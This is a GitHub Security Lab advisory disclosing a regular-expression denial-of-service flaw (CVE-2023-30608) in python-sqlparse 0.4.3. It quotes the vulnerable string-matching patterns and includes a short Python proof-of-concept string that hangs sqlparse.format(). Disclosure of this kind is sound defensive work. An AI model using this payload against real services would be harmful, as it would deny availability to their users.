skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
May 4, 2023

GHSL-2023-001: ReDoS in SQLparse - CVE-2023-30608

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

SQLparse has a ReDoS (regular expression denial of service) in the parser for SQL expressions.

Product

python-sqlparse

Tested Version

v0.4.3

Details

Issue: ReDoS in keywords.py (GHSL-2023-001)

Both the String.Single and the String.Symbol regular expressions are vulnerable:

SQL_REGEX = [
 ... 
 (r"'(''|\\\\|\\'|[^'])*'", tokens.String.Single),
 ...
 (r'"(""|\\\\|\\"|[^"])*"', tokens.String.Symbol),
 ...
]

This issue was found using the following CodeQL query

Impact

This vulnerability may lead to Denial of Service (DOS).

Proof of Concept

The following code will use the sqlparse.format() function to parse an attacker-controlled string, leading to a denial of service condition:

import sqlparse
attack = "'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"
res = sqlparse.format(attack)
print(res)

CVE

Credit

This issue was discovered by @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-001 in any communication regarding this issue.